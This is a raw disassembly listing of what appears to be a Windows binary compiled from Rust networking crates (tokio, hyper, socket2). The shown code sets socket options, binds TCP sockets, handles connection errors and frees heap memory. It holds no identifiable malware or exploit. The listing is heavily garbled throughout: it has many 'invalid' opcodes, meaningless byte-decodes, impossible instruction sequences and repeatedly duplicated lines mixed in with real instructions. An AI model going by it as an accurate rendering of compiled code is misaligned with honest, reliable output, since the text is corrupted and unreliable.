invalid
invalid
or al, 0
invalid
clc
dec dword [rdi]
test byte [0x1840b6ed0], bl
mov dword [rsp + 0x54], esp
mov dword [rsp + 0x54], r12d
mov qword [rsp + 0x100], r15
mov r12d, dword [rbx + 0x48]
cmp r12d, 0x3b9aca00
je 0x1400b7013
mov r15, qword [rbx + 0x40]
mov dword [rsp + 0x60], 1
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x60]
mov rcx, r14
mov edx, 0xffff
inc dword [rax]
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
inc dword [rax]
add byte [rcx - 0x48], al
or byte [rax], al
add byte [rax], al
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
je 0x1400b6faf
cwde
add byte [rax], al
invalid
cwde
add byte [rax], al
add byte [rcx + 0x3e8], bh
invalid
mov ecx, 0x3e8
add byte [rcx + rcx*4 - 8], cl
mov rax, r15
mul rcx
mov ecx, r12d
imul rcx, rcx, 0x431bde83
shr rcx, 0x32
shr rcx, 0x32
add rcx, rax
adc rdx, 0
mov eax, 0xffffffff
cmp rcx, rax
cmovae rcx, rax
xor r15d, r15d
neg rdx
mov eax, 0
add byte [rax], al
add byte [rcx], bl
ror byte [rcx], 0xc8
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x68], 0
mov dword [rsp + 0x50], 0
xorps xmm0, xmm0
push rdi
ror byte [rdi], 0x11
and al, 0x38
push rdi
ror byte [rdi], 0x11
and al, 0x38
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add byte [rax], al
add byte [rax], al
lea r8, [rsp + 0x60]
mov rcx, r14
mov edx, 0x98000004
mov r9d, 0xc
call qword [sym.imp.ws2_32.dll_WSAIoctl]
cmp eax, 0xffffffff
jne 0x1400b6fc0
call qword [sym.imp.kernel32.dll_GetLastError]
mov r15d, eax
shl r15, 0x20
or r15, 2
mov eax, r15d
and eax, 3
cmp eax, 1
jne 0x1400b7013
mov dl, 0xc
add byte [rcx], dh
ror byte [rbp - 0x77], cl
call 0x1036a85fe
add eax, 0xd8b4800
pop rax
mov dl, 0xc
add byte [rcx], dh
ror byte [rbp - 0x77], cl
loopne 0x1400b700d
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5c34d
ret
test bp, bp
je 0x1400b708f
mov ax, 0x17
mov r8d, 0x1c
add byte [rcx - 0x48], al
sbb al, 0
add byte [rax], al
cmp byte [rbx + 0x56], 0
mov r12d, dword [rsp + 0x54]
je 0x1400b7101
add byte [rax], al
add byte [rax], al
movups xmm0, xmmword [rbx + 0x57]
movups xmmword [rsp + 0x68], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x88], xmm0
adc dword [rsp + 0x88], eax
adc dword [rsp + 0x88], eax
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x60], 0x17
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
invalid
and al, 0x60
invalid
mov dword [rsp + 0x60], 0x17
mov dword [rsp + 0xe0], 0x1c
jmp 0x1400b715e
mov ax, 2
mov r8d, 0x10
add byte [rax], al
add byte [rax], al
cmp byte [rbx + 0x51], 0
mov r12d, dword [rsp + 0x54]
je 0x1400b7101
pop rbp
pop rbp
mov eax, dword [rbx + 0x52]
xorps xmm0, xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xb8], xmm0
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xa8], eax
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xa8], eax
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0x88], xmm0
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x88], eax
movups xmmword [rsp + 0x78], xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0xd8], 0
add bh, al
and al, 0x60
add al, byte [rax]
add byte [rax], al
add bh, al
and al, 0x60
add al, byte [rax]
add byte [rax], al
mov dword [rsp + 0x64], eax
mov dword [rsp + 0xe0], 0x10
jmp 0x1400b715e
xorps xmm0, xmm0
movups xmmword [rsp + 0xc8], xmm0
and al, 0xc8
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xb8], eax
ror byte [rdi], 0x11
test byte [rax + rcx*8], ah
and al, 0xc8
and al, 0xc8
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0xb8], eax
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0x88], xmm0
and al, 0x88
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x78], eax
and al, 0x88
add byte [rax], al
add byte [rdi], cl
adc dword [rsp + 0x78], eax
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0xd8], 0
mov dword [rsp + 0xd8], 0
mov dword [rsp + 0xd8], 0
mov word [rsp + 0x60], ax
mov word [rsp + 0x62], 0
mov dword [rsp + 0x64], 0
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], al
mov dword [rsp + 0xe0], eax
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], al
mov dword [rsp + 0xe0], eax
lea rdx, [rsp + 0x60]
mov dword [rsp + 0xe0], eax
lea rdx, [rsp + 0x60]
mov rcx, r14
call qword [sym.imp.ws2_32.dll_bind]
add byte [rbp + 0x31], al
in eax, dx
add byte [rbp + 0x31], al
in eax, dx
test eax, eax
je 0x1400b7184
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
mov ebp, eax
mov ebp, eax
shl r13, 0x20
or r13, 2
test r13, r13
jne 0x1400b7b4d
cmp byte [rbx + 0x68], 0
je 0x1400b71c1
mov dword [rsp + 0x60], 1
add dword [rax], eax
add byte [rax], al
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x60]
mov rcx, r14
mov edx, 0xffff
mov r8d, 4
call qword [sym.imp.ws2_32.dll_setsockopt]
adc eax, 0x5c42c
adc eax, 0x5c42c
cmp eax, 0xffffffff
je 0x1400b7209
cmp qword [rbx], 0
je 0x1400b7215
mov rax, qword [rbx + 8]
mov ecx, 0xffffffff
cmp rax, rcx
cmovb rcx, rax
enter 0x4c89, 0x24
invalid
enter 0x4c89, 0x24
invalid
mov dword [rsp + 0x20], 4
lea r9, [rsp + 0x60]
invalid
mov rcx, r14
mov edx, 0xffff
add byte [rcx - 0x48], al
add dword [rax], edx
add byte [rax], al
invalid
add byte [rcx - 0x48], al
add dword [rax], edx
add byte [rax], al
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne 0x1400b7215
add byte [rbx + 0x1475fff8], al
call qword [sym.imp.kernel32.dll_GetLastError]
jmp 0x1400b7215
call qword [sym.imp.kernel32.dll_GetLastError]
cmp qword [rbx], 0
jne case.0x140096fc6.137
cmp qword [rbx + 0x10], 0
je case.default.0x1400b7369
mov rax, qword [rbx + 0x18]
mov ecx, 0xffffffff
cmp rax, rcx
cmovb rcx, rax
mov dword [rsp + 0x60], ecx
mov dword [rsp + 0x20], 4
and byte [rax + rax], al
add byte [rax], al
lea r9, [rsp + 0x60]
mov rcx, r14
mov edx, 0xffff
mov r8d, 0x1002
call qword [sym.imp.ws2_32.dll_setsockopt]
cmp eax, 0xffffffff
jne case.default.0x1400b7369
call qword [sym.imp.kernel32.dll_GetLastError]
shl rdi, 0x10
or rdi, rbp
adc byte [rax + 9], cl
out dx, eax
lea r15, [rsi + 0x68]
mov rax, qword [rsp + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
mov qword [rsi + 0x68], rax
mov dword [rsi + 0x70], r12d
mov qword [rsi + 0x78], rdi
mov rax, qword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
mov qword [rsi + 0x80], rax
mov rax, qword [rsp + 0x110]
mov eax, dword [rsp + 0x110]
mov eax, dword [rsp + 0x110]
mov qword [rsi + 0x88], rax
mov rax, qword [rsp + 0x108]
add byte [rax], al
mov qword [rsi + 0x90], rax
mov qword [rsi + 0x98], r14
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
xor byte [rcx], al
add byte [rax], al
movups xmm2, xmmword [rsp + 0x140]
movups xmm3, xmmword [rsp + 0x150]
movups xmmword [rsi + 0xa0], xmm0
movups xmmword [rsi + 0xb0], xmm1
movups xmmword [rsi + 0xc0], xmm2
movups xmmword [rsi + 0xd0], xmm3
sahf
rol byte [rax], 1
add byte [rax], al
sahf
rol byte [rax], 1
add byte [rax], al
movups xmm0, xmmword [rsp + 0x160]
movups xmmword [rsi + 0xe0], xmm0
mov byte [rsi + 0xf0], 0
xchg al, dh
add byte [rax], al
add byte [rax], al
xchg al, dh
add byte [rax], al
add byte [rax], al
mov eax, dword [rsp + 0xf9]
mov ecx, dword [rsp + 0xfc]
mov dword [rsi + 0xf1], eax
add byte [rax], al
mov dword [rsi + 0xf4], ecx
mov byte [rsi + 0xf8], 0
lea rcx, [rsi + 0xf9]
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x1b0]
mov r8d, 0xf7
call fcn.140106530
lea r14, [rsi + 0x1f0]
lock add dword [rax], eax
invalid
add byte [rbp + rcx*4 - 0x4a], cl
lock add dword [rax], eax
add byte [rcx - 0x48], al
mov byte [rcx], al
add byte [rax], al
add byte [rax], al
mov r8d, 0x188
mov rcx, r14
mov rdx, r15
call fcn.140106530
movzx eax, byte [rsi + 0x280]
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xc1722
invalid
or al, 0
add byte [rdx], 0
add byte [rax - 0x73], cl
or eax, 0xc1722
invalid
or al, 0
invalid
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov edi, dword [rsi + 0x1f8]
lea rax, [rsi + 0x200]
cmp edi, 0x3b9aca00
jne 0x1400b7441
invalid
invalid
add byte [rax], al
invalid
test dword [rbp + 0xf000000], edi
add byte [rdi], cl
movups xmm0, xmmword [rax + 0x70]
adc byte [rax + 0x70], al
movups xmmword [rsi + 0x2f8], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rsi + 0x2e8], xmm0
add al, byte [rax]
add byte [rdi], cl
adc byte [rax + 0x50], al
add al, byte [rax]
add byte [rdi], cl
adc byte [rax + 0x50], al
movups xmmword [rsi + 0x2d8], xmm0
adc dword [rsi + 0x2d8], eax
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rsi + 0x2c8], xmm0
add byte [rdi], cl
adc byte [rax], al
xchg al, cl
add al, byte [rax]
add byte [rdi], cl
adc byte [rax], al
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movups xmmword [rsi + 0x2b8], xmm3
movups xmmword [rsi + 0x2a8], xmm2
adc dword [rsi + 0x2a8], edx
adc dword [rsi + 0x2a8], edx
movups xmmword [rsi + 0x298], xmm1
movups xmmword [rsi + 0x288], xmm0
lea rdx, [rsi + 0x288]
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
call fcn.1400b8410
mov rbp, qword [rsp + 0x60]
cmp rbp, 3
je case.0x140070bc3.308
invalid
mov r15, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x80]
movzx eax, byte [rsi + 0x300]
cmp eax, 3
je 0x1400b7508
test eax, eax
jne 0x1400b77d6
mov rcx, qword [rsi + 0x2a8]
call qword [sym.imp.ws2_32.dll_closesocket]
jmp 0x1400b77d6
add byte [rax], al
add byte [rax], al
mov rbx, qword [r14]
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xd0], xmm0
movups xmm0, xmmword [rax + 0x60]
invalid
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0xb0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x90], xmm3
movaps xmmword [rsp + 0x80], xmm2
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
call fcn.1400df770
add rax, rbx
jae 0x1400b7519
invalid
call fcn.1400df770
add rax, 0x38640900
jb 0x1400b7c85
mov r8d, edx
cmp edx, 0x3b9aca00
jb 0x1400b74ff
inc rax
je 0x1400b7c85
add r8d, 0xc4653600
cmp r8d, 0x3b9aca00
retf 0x3b9a
jb 0x1400b74ff
retf 0x3b9a
leave
add dl, cl
invalid
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_time_sleep.rs
jmp 0x1400b753f
lea rcx, [rsi + 0x2b8]
call 0x1400b8300
jmp 0x1400b77d6
mov r8d, edx
add r8d, edi
cmp r8d, 0x3b9aca00
jb 0x1400b7538
inc rax
je 0x1400b74a7
add r8d, 0xc4653600
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x120]
mov rdx, rax
call 0x1400f4170
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x290], xmm0
movaps xmm0, xmmword [rsp + 0xc0]
rol byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x280], eax
rol byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x280], eax
movaps xmm0, xmmword [rsp + 0xb0]
mov al, 0
add byte [rax], al
movaps xmmword [rsp + 0x270], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x260], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movaps xmm2, xmmword [rsp + 0x80]
movaps xmm3, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x250], xmm3
movaps xmmword [rsp + 0x240], xmm2
add byte [rax], al
add byte [rax], al
movaps xmmword [rsp + 0x230], xmm1
movaps xmmword [rsp + 0x220], xmm0
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
movups xmm2, xmmword [rsp + 0x140]
movups xmm3, xmmword [rsp + 0x150]
add byte [rax], al
movaps xmmword [rsp + 0x1b0], xmm0
movaps xmmword [rsp + 0x1c0], xmm1
movaps xmmword [rsp + 0x1d0], xmm2
movaps xmmword [rsp + 0x1e0], xmm3
xchg esp, eax
and al, 0xd0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x1e0], ebx
movups xmm0, xmmword [rsp + 0x160]
add byte [rax], al
movaps xmmword [rsp + 0x1f0], xmm0
movups xmm0, xmmword [rsp + 0x170]
movaps xmmword [rsp + 0x200], xmm0
movups xmm0, xmmword [rsp + 0x180]
test byte [rax + rax], ah
add al, byte [rax]
add byte [rdi], cl
adc byte [rsp + 0x180], al
movaps xmmword [rsp + 0x210], xmm0
lea rcx, [rsi + 0x288]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb0
add dword [rax], eax
add byte [rcx - 0x48], al
lock add byte [rax], al
add al, ch
fucomp st(6)
add al, 0
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xb0
add dword [rax], eax
add byte [rcx - 0x48], al
lock add byte [rax], al
add al, ch
fucomp st(6)
add al, 0
lea r13, [rsi + 0x288]
lea rdx, [rsi + 0x2f8]
mov eax, dword [0x140182314]
or al, 0
or al, 0
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
add byte [rax], al
add byte [rax], al
cmp eax, 1
je 0x1400b76bc
xor edi, edi
test eax, eax
jne 0x1400b76e7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rax, [0x1400e4030]
mov rdi, rdx
mov rdx, rax
call fcn.1400d4720
mov rdx, rdi
mov byte [rbx + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x11c], 0
setne cl
cmp byte [rax + 0x11d], 0
sete dil
and dil, cl
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
mov eax, dword [rsp + 0x58]
call fcn.1400b8410
mov rbp, qword [rsp + 0x60]
insb byte [rdi], dx
and al, 0x60
insb byte [rdi], dx
and al, 0x60
cmp rbp, 3
jne 0x1400b77b7
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x1400b7755
test eax, eax
jne 0x1400b778d
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
add dh, al
and dword [rax], 1
add byte [rax], al
invalid
add dh, al
and dword [rax], 1
add byte [rax], al
add dword [rbx + 0xcabb905], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx ebx, byte [rax + 0x11c]
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbx + rbx*8 - 0x7f3e6bf1], al
test bl, bl
sete cl
cmp byte [rax + 0x11d], 0
setne al
or al, cl
test bl, bl
sete cl
cmp byte [rax + 0x11d], 0
setne al
or al, cl
or dil, al
cmp dil, 1
cmp bh, 1
jne 0x1400b78c7
mov rax, qword [rsp + 0x58]
mov rdx, qword [rax]
mov rcx, r13
jmp 0x143d7bb84
invalid
jmp 0x143d7bb84
test al, al
jne case.0x14005cc92.373
mov rcx, r13
call 0x1400b8390
call fcn.1400b9320
mov r15, rax
jmp 0x1400b77df
mov r15, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
js case.0x140065698.363
mov ebx, dword [rsp + 0x80]
js case.0x140065698.363
mov ebx, dword [rsp + 0x80]
add byte [rax], al
mov rcx, r13
call 0x1400b8390
cmp ebp, 2
jne 0x1400b79a2
add byte [rax], al
movzx eax, byte [0x140182310]
mov edx, 0x11
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x1400b7c76
jnp 0x1400b77fd
add byte [rax], al
jnp 0x1400b77fd
add byte [rax], al
mov r12, rax
movups xmm0, xmmword [0x140141263]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x72
movzx eax, byte [0x140182310]
mov dh, 5
std
stosb byte [rdi], al
or al, 0
invalid
std
stosb byte [rdi], al
or al, 0
mov edx, 8
xor ecx, ecx
call fcn.1400df910
add byte [rdx], 0
add byte [rdx], 0
test rax, rax
je case.0x1400792d3.284
mov r13, rax
mov qword [rax], r15
mov dword [rax], edi
mov dword [rax], edi
mov byte [rsi + 0x280], 1
add al, byte [rax]
add byte [rcx], al
mov rcx, r14
call fcn.1400b7d20
add byte [rax], al
add byte [rax], al
mov r8, qword [rsi + 0x20]
test r8, r8
je 0x1400b7892
invalid
cmp qword [rsi + 0x28], 0
cmp qword [rsi + 0x28], 0
je case.0x140070a56.306
mov rcx, qword [0x140182260]
or eax, 0xcaa0c
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5bb04
adc eax, 0x5bb04
mov r14, qword [rsi + 0x30]
test r14, r14
je 0x1400b7892
mov rdi, qword [rsi + 0x38]
mov rcx, r14
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400b7892
mov qword [rsi + 0x20], r12
mov qword [rsi + 0x28], 0x11
mov qword [rsi + 0x30], r13
lea rax, [0x14013dd20]
or byte [rax], al
or byte [rax], al
mov qword [rsi + 0x38], rax
mov rax, qword [rsi + 0x40]
mov rcx, qword [rax + 8]
mov rcx, qword [rax + 8]
mov r15, r12
cmp rcx, qword [rax + 0x18]
out 0x48, eax
cmp ecx, dword [rax + 0x18]
jne 0x1400b6dc2
jmp 0x1400b6d9c
invalid
hlt
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xc1
mov byte [rdi + 0x11c], 0
mov rax, qword [rsp + 0x58]
xchg dword [rcx + rax], ebx
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x58
mov rdx, qword [rax]
mov edx, dword [rax]
mov rcx, r13
call fcn.1400f43e0
movzx ecx, byte [rdi + 0x120]
invalid
cmp ecx, 1
add byte [rbx + 0x367401f9], al
je 0x1400b7933
test ecx, ecx
jne 0x1400b7953
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rbx + rcx*4 + 0x3c], cl
mov edi, dword [rdx + rcx*8]
add byte [rax], al
add byte [rbx + rcx*4 + 0x3c], cl
mov edi, dword [rdx + rcx*8]
invalid
invalid
mov edi, dword [rdx + rcx*8]
lea rcx, [r15 + 0xd0]
lea rdx, [0x1400e4030]
mov edi, eax
invalid
call fcn.1400d4720
mov eax, edi
mov byte [r15 + 0x120], 1
invalid
mov ecx, dword [0x140182314]
or eax, 0xca9db
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11c], bl
mov byte [rcx + 0x11d], 0
invalid
sbb eax, 1
add dword [rax], eax
add byte [rax], al
sbb dword [0x1400b7958], 0x840fc084
invalid
add dword [rax], eax
add byte [rax], al
test al, al
je 0x1400b77a5
mov al, 3
jmp 0x1400b79c5
mov byte [rsp + 0x50], 1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rax
invalid
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_socket2_0.5.6_src_syswindows.rs
or dword [rax], eax
or dword [rax], eax
mov qword [rsp + 0x20], rax
lea rax, [0x1401821c8]
add byte [rbp + rcx*4 + 0xd], cl
xor byte [rdi], dl
or dword [rax], eax
add byte [rbp + rcx*4 + 0xd], cl
xor byte [rdi], dl
or dword [rax], eax
or eax, 0x91730
lea r8, [rsp + 0x60]
mov r14d, ecx
mov rcx, rax
mov ecx, eax
mov ecx, eax
xor edx, edx
call fcn.14010fd20
add byte [rcx + rcx*4 - 0xf], al
add byte [rcx + rcx*4 - 0xf], al
jmp 0x1400b6e6e
mov byte [rsi + 0x280], 1
add al, byte [rax]
add byte [rcx], al
mov rcx, r14
call fcn.1400b7d20
mov r8, qword [rsi + 0x20]
and byte [rbp - 0x7b], r9b
ror byte [rdi], 0x85
test dword [rdx + rax], esp
add byte [rax], al
and byte [rbp - 0x7b], r9b
ror byte [rdi], 0x85
test dword [rdx + rax], esp
test dword [rdx + rax], esp
add al, byte [rax]
add cl, ch
add byte [rax], al
jmp 0x1400b7c30
insd dword [rdi], dx
add al, byte [rax]
add byte [rax - 0x7f7977fc], dh
mov al, 4
mov byte [rsi + 0x280], al
add byte [rax], al
mov rax, qword [rsp + 0xf0]
mov qword [rax], 3
mov al, 3
jmp 0x1400b7c4d
mov al, 4
mov byte [rsi + 0x280], al
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0xf0]
mov qword [rax], 3
mov al, 3
jmp 0x1400b7c4d
mov r15, qword [rsi + 0x20]
test r15, r15
jne 0x1400b6da5
invalid
mov bh, 0xf3
invalid
invalid
test dword [rdi + 0x48fffff3], esi
lea edx, str.Network_unreachabletcp_connect_error
lea rdx, str.Network_unreachabletcp_connect_error
mov r8d, 0x13
add byte [rax], al
mov cl, 7
call fcn.140095940
mov rbx, rax
movzx eax, byte [0x140182310]
add eax, 0xca904
add eax, 0xca904
add byte [rdx + 0x11], bh
mov edx, 0x11
xor ecx, ecx
call fcn.1400df910
jle 0x1400b7a19
invalid
jle 0x1400b7a19
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
je 0x1400b7c76
mov r15, rax
test rax, rax
test eax, eax
je 0x1400b7c76
mov r15, rax
movups xmm0, xmmword [0x140141263]
cwde
or byte [rax], al
cwde
or byte [rax], al
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0x72
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je case.0x1400792d3.284
add al, byte [rax]
add byte [rcx - 0x77], cl
invalid
mov r12, rax
mov qword [rax], rbx
lea rbx, [0x14013dd20]
or byte [rax], al
or byte [rax], al
mov edi, 0x11
mov ebp, 2
jmp 0x1400b7c30
add byte [rax], al
add byte [rax], al
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
movzx eax, byte [0x140182310]
invalid
add byte [rdx + 0xe], bh
mov edx, 0xe
xor ecx, ecx
call fcn.1400df910
test rax, rax
ror byte [rdi], 0x84
invalid
add al, byte [rax]
invalid
ror byte [rdi], 0x84
invalid
test byte [rcx + 2], ah
add byte [rax], al
add al, byte [rax]
add byte [rcx - 0x77], cl
invalid
mov r15, rax
movabs rax, 0x726f727265206e65
mov qword [r15 + 6], rax
invalid
movabs rax, 0x6e65706f20706374
mov eax, 0x20706374
jo 0x1400b7ac5
outsd dx, dword [rsi]
jo 0x1400b7b0d
outsb dx, byte [rsi]
mov qword [r15], rax
movzx eax, byte [0x140182310]
pop rbp
test al, 0xc
invalid
pop rbp
test al, 0xc
add byte [rdx + 8], bh
mov edx, 8
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je case.0x1400792d3.284
add dword [rax], eax
add byte [rcx - 0x77], cl
mov r12, rax
mov r12, rax
shl rbx, 0x20
or rbx, 2
mov qword [rax], rbx
mov edi, 0xe
add byte [rax], al
add cl, ch
int 0
add byte [rax], al
add byte [rax], al
add cl, ch
int 0
add byte [rax], al
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
movzx eax, byte [0x140182310]
mov edx, 0x19
add byte [rcx], dh
leave
add byte [rcx], dh
leave
call fcn.1400df910
jle 0x1400b7afc
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
cli
add dword [rax], eax
test rax, rax
test eax, eax
je 0x1400b7cfe
add byte [rcx - 0x77], cl
invalid
mov r15, rax
movups xmm0, xmmword [0x14012ceb9]
adc byte [0x14012ceb9], al
adc byte [0x14012ceb9], al
add eax, 0x753ab
add byte [rdi], cl
movups xmmword [rax + 9], xmm0
adc dword [rax + 9], eax
movups xmm0, xmmword [str.tcp_set_nonblocking_errortcp_bind_local_error]
movups xmmword [rax], xmm0
movzx eax, byte [0x140182310]
or al, 0
mov edx, 8
xor ecx, ecx
leave
add byte [rcx], dh
leave
call fcn.1400df910
test rax, rax
je case.0x1400792d3.284
mov r12, rax
shl rbx, 0x20
or rbx, 2
retf
add cl, byte [rax - 0x77]
sbb byte [rdi + 0x19], bh
add byte [rax], al
invalid
retf
add byte [rax], al
add bl, ch
push rdi
add byte [rax], al
jmp 0x1400b7ba4
movzx eax, byte [0x140182310]
mov edx, 0x14
xor ecx, ecx
call fcn.1400df910
test rax, rax
je case.0x1400a9119.71
mov r15, rax
movups xmm0, xmmword [0x14012cec9]
push rsi
push rbx
invalid
add byte [rdi], cl
adc dword [rax], eax
mov dword [rax + 0x10], 0x726f7272
movzx eax, byte [0x140182310]
add eax, 0xca78c
push rsi
push rbx
invalid
add eax, 0xca78c
add byte [rdx + 8], bh
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je case.0x1400792d3.284
mov r12, rax
mov qword [rax], r13
mov edi, 0x14
adc al, 0
add byte [rax], al
mov rcx, r14
call qword [sym.imp.ws2_32.dll_closesocket]
mov qword [rsi + 0x78], r15
mov qword [rsi + 0x80], rdi
mov qword [rsi + 0x88], r12
mov dword [rsi + 0x88], esp
mov dword [rsi + 0x88], esp
add byte [rax], al
lea rbx, [0x14012b520]
lea ebx, [0x14012b520]
mov qword [rsi + 0x90], rbx
mov dword [rsi + 0x70], 0x3b9aca01
jo 0x1400b7bd2
retf 0x3b9a
mov ebp, 2
jo 0x1400b7bd2
retf 0x3b9a
invalid
mov r8, qword [rsi + 0x20]
test r8, r8
je 0x1400b7c30
cmp qword [rsi + 0x28], 0
je 0x1400b7bf8
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsi + 0x30]
test r14, r14
test esi, esi
test esi, esi
je 0x1400b7c30
mov r13, qword [rsi + 0x38]
mov rcx, r14
int1
int1
call qword [r13]
cmp qword [r13 + 8], 0
or byte [rax], al
or byte [rax], al
je 0x1400b7c30
cmp qword [r13 + 0x10], 0x11
jb 0x1400b7c1e
adc dword [rdx + 4], esi
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
